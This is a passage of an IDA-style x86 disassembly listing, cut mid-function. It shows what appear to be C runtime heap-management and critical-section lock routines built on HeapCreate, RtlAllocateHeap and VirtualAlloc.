		jz	short loc_41E7BF
		push	esi
		call	sub_41E56F
		pop	ecx
		test	eax, eax
		jnz	loc_41E65B
		jmp	short loc_41E7BD
sub_41E618	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E778	proc near		; DATA XREF: .text:stru_4296B0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_41E778	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E780	proc near		; CODE XREF: sub_41E618+114p
		push	4
		call	sub_41E8CE
		pop	ecx
		retn
sub_41E780	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E618

loc_41E789:				; CODE XREF: sub_41E618+3Dj
					; sub_41E618+1A3j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7A6
		cmp	esi, ebx
		jnz	short loc_41E797
		xor	esi, esi
		inc	esi

loc_41E797:				; CODE XREF: sub_41E618+17Aj
		push	esi
		push	edi
		push	ebx
		push	ds:dword_4395B8
		call	ds:dword_429190	; RtlReAllocateHeap

loc_41E7A6:				; CODE XREF: sub_41E618+176j
		cmp	eax, ebx
		jnz	short loc_41E7BF
		cmp	ds:dword_4356BC, ebx
		jz	short loc_41E7BF
		push	esi
		call	sub_41E56F
		pop	ecx
		test	eax, eax
		jnz	short loc_41E789

loc_41E7BD:				; CODE XREF: sub_41E618+31j
					; sub_41E618+15Ej
		xor	eax, eax

loc_41E7BF:				; CODE XREF: sub_41E618+1Ej
					; sub_41E618+145j ...
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41E618

; =============== S U B	R O U T	I N E =======================================



sub_41E7C5	proc near		; CODE XREF: sub_41E7DF+20p
		cmp	ds:dword_43565C, 2
		jnz	short loc_41E7DB
		cmp	ds:dword_435668, 5
		jb	short loc_41E7DB
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_41E7DB:				; CODE XREF: sub_41E7C5+7j
					; sub_41E7C5+10j
		push	3
		pop	eax
		retn
sub_41E7C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7DF	proc near		; CODE XREF: start-1C281p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_4290B4	; HeapCreate
		test	eax, eax
		mov	ds:dword_4395B8, eax
		jz	short loc_41E829
		call	sub_41E7C5
		cmp	eax, 3
		mov	ds:dword_4395BC, eax
		jnz	short loc_41E82C
		push	3F8h
		call	sub_41E9B4
		test	eax, eax
		pop	ecx
		jnz	short loc_41E82C
		push	ds:dword_4395B8
		call	ds:dword_4290B0	; HeapDestroy

loc_41E829:				; CODE XREF: sub_41E7DF+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41E82C:				; CODE XREF: sub_41E7DF+2Dj
					; sub_41E7DF+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_41E7DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E830	proc near		; CODE XREF: sub_42059Dp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_435508

loc_41E839:				; CODE XREF: sub_41E830+35j
		cmp	ds:dword_433154[esi*8],	1
		jnz	short loc_41E861
		lea	eax, ds:433150h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_423F72
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41E86D

loc_41E861:				; CODE XREF: sub_41E830+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_41E839
		xor	eax, eax
		inc	eax

loc_41E86A:				; CODE XREF: sub_41E830+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E86D:				; CODE XREF: sub_41E830+2Fj
		and	ds:off_433150[esi*8], 0
		xor	eax, eax
		jmp	short loc_41E86A
sub_41E830	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E879	proc near		; CODE XREF: sub_420386:loc_42039Ej
		push	ebx
		mov	ebx, ds:dword_429098
		push	esi
		mov	esi, offset off_433150
		push	edi

loc_41E887:				; CODE XREF: sub_41E879+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_41E8A0
		cmp	dword ptr [esi+4], 1
		jz	short loc_41E8A0
		push	edi
		call	ebx	; RtlDeleteCriticalSection
		push	edi
		call	sub_41C2DD
		and	dword ptr [esi], 0
		pop	ecx

loc_41E8A0:				; CODE XREF: sub_41E879+12j
					; sub_41E879+18j
		add	esi, 8
		cmp	esi, offset off_433270
		jl	short loc_41E887
		mov	esi, offset off_433150
		pop	edi

loc_41E8B1:				; CODE XREF: sub_41E879+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41E8C0
		cmp	dword ptr [esi+4], 1
		jnz	short loc_41E8C0
		push	eax
		call	ebx	; RtlDeleteCriticalSection

loc_41E8C0:				; CODE XREF: sub_41E879+3Cj
					; sub_41E879+42j
		add	esi, 8
		cmp	esi, offset off_433270
		jl	short loc_41E8B1
		pop	esi
		pop	ebx
		retn
sub_41E879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8CE	proc near		; CODE XREF: sub_41C330+2p
					; sub_41C90A+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ds:off_433150[eax*8]
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_41E8CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8E3	proc near		; CODE XREF: sub_41D92B+13p
					; sub_41E983+14p ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_4296C0
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		lea	esi, ds:433150h[esi*8]
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_41E971
		push	18h
		call	sub_41D0C4
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41E91A
		call	sub_4200B5
		mov	dword ptr [eax], 0Ch
		jmp	short loc_41E959
; ---------------------------------------------------------------------------

loc_41E91A:				; CODE XREF: sub_41E8E3+28j
		push	0Ah
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_41E961
		push	0FA0h
		push	edi
		call	sub_423F72
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41E95D
		push	edi
		call	sub_41C2DD
		call	sub_4200B5
		mov	dword ptr [eax], 0Ch
		push	0FFFFFFFFh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		call	sub_41DECE
		add	esp, 0Ch

loc_41E959:				; CODE XREF: sub_41E8E3+35j
		xor	eax, eax
		jmp	short loc_41E974
; ---------------------------------------------------------------------------

loc_41E95D:				; CODE XREF: sub_41E8E3+55j
		mov	[esi], edi
		jmp	short loc_41E968
; ---------------------------------------------------------------------------

loc_41E961:				; CODE XREF: sub_41E8E3+44j
		push	edi
		call	sub_41C2DD
		pop	ecx

loc_41E968:				; CODE XREF: sub_41E8E3+7Cj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E97A

loc_41E971:				; CODE XREF: sub_41E8E3+1Aj
		xor	eax, eax
		inc	eax

loc_41E974:				; CODE XREF: sub_41E8E3+78j
		call	__SEH_epilog
		retn
sub_41E8E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E97A	proc near		; CODE XREF: sub_41E8E3+89p
					; DATA XREF: .text:stru_4296C0o
		push	0Ah
		call	sub_41E8CE
		pop	ecx
		retn
sub_41E97A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E983	proc near		; CODE XREF: sub_41C2DD+1Ep
					; sub_41C8CD+16p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:433150h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_41E9A9
		push	eax
		call	sub_41E8E3
		test	eax, eax
		pop	ecx
		jnz	short loc_41E9A9
		push	11h
		call	sub_41DC6D
		pop	ecx

loc_41E9A9:				; CODE XREF: sub_41E983+11j
					; sub_41E983+1Cj
		push	dword ptr [esi]
		call	ds:dword_429130	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_41E983	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9B4	proc near		; CODE XREF: sub_41E7DF+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	ds:dword_4395B8
		call	ds:dword_4290A0	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4395A4, eax
		jnz	short loc_41E9D1
		retn
; ---------------------------------------------------------------------------

loc_41E9D1:				; CODE XREF: sub_41E9B4+1Aj
		mov	ecx, [esp+arg_0]
		and	ds:dword_43959C, 0
		and	ds:dword_4395A0, 0
		mov	ds:dword_4395AC, eax
		xor	eax, eax
		mov	ds:dword_4395A8, ecx
		mov	ds:dword_4395B0, 10h
		inc	eax
		retn
sub_41E9B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9FC	proc near		; CODE XREF: sub_41C2DD+29p
					; sub_41E618+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4395A0
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4395A4
		lea	ecx, [eax+ecx*4]
		jmp	short loc_41EA20
; ---------------------------------------------------------------------------

loc_41EA0E:				; CODE XREF: sub_41E9FC+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41EA26
		add	eax, 14h

loc_41EA20:				; CODE XREF: sub_41E9FC+10j
		cmp	eax, ecx
		jb	short loc_41EA0E
		xor	eax, eax

locret_41EA26:				; CODE XREF: sub_41E9FC+1Fj
		retn
sub_41E9FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA27	proc near		; CODE XREF: sub_41C2DD+38p
					; sub_41E618+B8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41ED3B
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41EAF2
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41EA8A
		push	3Fh
		pop	edx

loc_41EA8A:				; CODE XREF: sub_41EA27+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EAD4
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41EAB5
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EAD1
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EAD1
; ---------------------------------------------------------------------------

loc_41EAB5:				; CODE XREF: sub_41EA27+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EAD1
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41EAD1:				; CODE XREF: sub_41EA27+85j
					; sub_41EA27+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_41EAD4:				; CODE XREF: sub_41EA27+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_41EAF2:				; CODE XREF: sub_41EA27+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41EB00
		push	3Fh
		pop	edx

loc_41EB00:				; CODE XREF: sub_41EA27+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41EB9E
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41EB25
		mov	ebx, esi

loc_41EB25:				; CODE XREF: sub_41EA27+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_41EB37
		mov	edx, esi

loc_41EB37:				; CODE XREF: sub_41EA27+10Cj
		cmp	ebx, edx
		jz	short loc_41EB99
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41EB81
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_41EB67
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41EB81
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41EB81
; ---------------------------------------------------------------------------

loc_41EB67:				; CODE XREF: sub_41EA27+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41EB81
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41EB81:				; CODE XREF: sub_41EA27+11Dj
					; sub_41EA27+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41EB99:				; CODE XREF: sub_41EA27+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_41EBA1
; ---------------------------------------------------------------------------

loc_41EB9E:				; CODE XREF: sub_41EA27+E2j
		mov	ebx, [ebp+arg_0]

loc_41EBA1:				; CODE XREF: sub_41EA27+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_41EBAF
		cmp	ebx, edx
		jz	loc_41EC2F

loc_41EBAF:				; CODE XREF: sub_41EA27+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41EC2F
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_41EC06
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EBF5
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41EBF5:				; CODE XREF: sub_41EA27+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41EC2F
; ---------------------------------------------------------------------------

loc_41EC06:				; CODE XREF: sub_41EA27+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EC1C
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41EC1C:				; CODE XREF: sub_41EA27+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41EC2F:				; CODE XREF: sub_41EA27+182j
					; sub_41EA27+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41ED3A
		mov	eax, ds:dword_43959C
		test	eax, eax
		jz	loc_41ED2C
		mov	ecx, ds:dword_4395B4
		mov	esi, ds:dword_42918C
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, ds:dword_4395B4
		mov	eax, ds:dword_43959C
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_43959C
		mov	eax, [eax+10h]
		mov	ecx, ds:dword_4395B4
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_43959C
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_43959C
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41ECBD
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_43959C

loc_41ECBD:				; CODE XREF: sub_41EA27+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41ED2C
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, ds:dword_43959C
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4395B8
		call	ds:dword_4291AC	; RtlFreeHeap
		mov	eax, ds:dword_4395A0
		mov	edx, ds:dword_4395A4
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_43959C
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41BFA0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4395A0
		cmp	eax, ds:dword_43959C
		jbe	short loc_41ED22
		sub	[ebp+arg_0], 14h

loc_41ED22:				; CODE XREF: sub_41EA27+2F5j
		mov	eax, ds:dword_4395A4
		mov	ds:dword_4395AC, eax

loc_41ED2C:				; CODE XREF: sub_41EA27+223j
					; sub_41EA27+29Aj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_43959C, eax
		mov	ds:dword_4395B4, edi

loc_41ED3A:				; CODE XREF: sub_41EA27+216j
		pop	ebx

loc_41ED3B:				; CODE XREF: sub_41EA27+37j
		pop	edi
		pop	esi
		leave
		retn
sub_41EA27	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED3F	proc near		; CODE XREF: sub_41F1DB+150p
		mov	eax, ds:dword_4395A0
		mov	ecx, ds:dword_4395B0
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41ED85
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4395A4
		push	edi
		push	ds:dword_4395B8
		call	ds:dword_429190	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_41ED74
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41ED74:				; CODE XREF: sub_41ED3F+2Fj
		add	ds:dword_4395B0, 10h
		mov	ds:dword_4395A4, eax
		mov	eax, ds:dword_4395A0

loc_41ED85:				; CODE XREF: sub_41ED3F+10j
		mov	ecx, ds:dword_4395A4
		push	esi
		push	41C4h
		push	8
		push	ds:dword_4395B8
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_4290A0	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_41EDB0

loc_41EDAC:				; CODE XREF: sub_41ED3F+9Bj
		xor	eax, eax
		jmp	short loc_41EDF3
; ---------------------------------------------------------------------------

loc_41EDB0:				; CODE XREF: sub_41ED3F+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_429188	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EDDC
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4395B8
		call	ds:dword_4291AC	; RtlFreeHeap
		jmp	short loc_41EDAC
; ---------------------------------------------------------------------------

loc_41EDDC:				; CODE XREF: sub_41ED3F+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4395A0
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41EDF3:				; CODE XREF: sub_41ED3F+6Fj
		pop	esi
		pop	edi
		retn
sub_41ED3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDF6	proc near		; CODE XREF: sub_41F1DB+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_41EE0E
; ---------------------------------------------------------------------------

loc_41EE0B:				; CODE XREF: sub_41EDF6+1Aj
		shl	eax, 1
		inc	ebx

loc_41EE0E:				; CODE XREF: sub_41EDF6+13j
		test	eax, eax
		jge	short loc_41EE0B
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_41EE27:				; CODE XREF: sub_41EDF6+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE27
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_429188	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EE5A
		or	eax, 0FFFFFFFFh
		jmp	loc_41EEF7
; ---------------------------------------------------------------------------

loc_41EE5A:				; CODE XREF: sub_41EDF6+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_41EEAA
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_41EE72:				; CODE XREF: sub_41EDF6+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_41EE72
		mov	edx, [ebp+var_4]

loc_41EEAA:				; CODE XREF: sub_41EDF6+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EEE7
		or	[eax+4], edi

loc_41EEE7:				; CODE XREF: sub_41EDF6+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41EEF7:				; CODE XREF: sub_41EDF6+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EDF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEFC	proc near		; CODE XREF: sub_41E618+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_41F09E
		test	bl, 1
		jnz	loc_41F097
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F097
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF71
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41EF71:				; CODE XREF: sub_41EEFC+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFBC
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41EF9D
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFBC
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFBC
; ---------------------------------------------------------------------------

loc_41EF9D:				; CODE XREF: sub_41EEFC+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFBC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41EFBC:				; CODE XREF: sub_41EEFC+7Bj
					; sub_41EEFC+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F085
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_41EFF6
		push	3Fh
		pop	edi

loc_41EFF6:				; CODE XREF: sub_41EEFC+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F073
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_41F04A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F042
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41F042:				; CODE XREF: sub_41EEFC+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_41F06A
; ---------------------------------------------------------------------------

loc_41F04A:				; CODE XREF: sub_41EEFC+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F060
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41F060:				; CODE XREF: sub_41EEFC+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_41F06A:				; CODE XREF: sub_41EEFC+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_41F073:				; CODE XREF: sub_41EEFC+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F088
; ---------------------------------------------------------------------------

loc_41F085:				; CODE XREF: sub_41EEFC+DEj
		mov	edx, [ebp+arg_4]

loc_41F088:				; CODE XREF: sub_41EEFC+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F1D3
; ---------------------------------------------------------------------------

loc_41F097:				; CODE XREF: sub_41EEFC+50j
					; sub_41EEFC+5Aj
		xor	eax, eax
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------

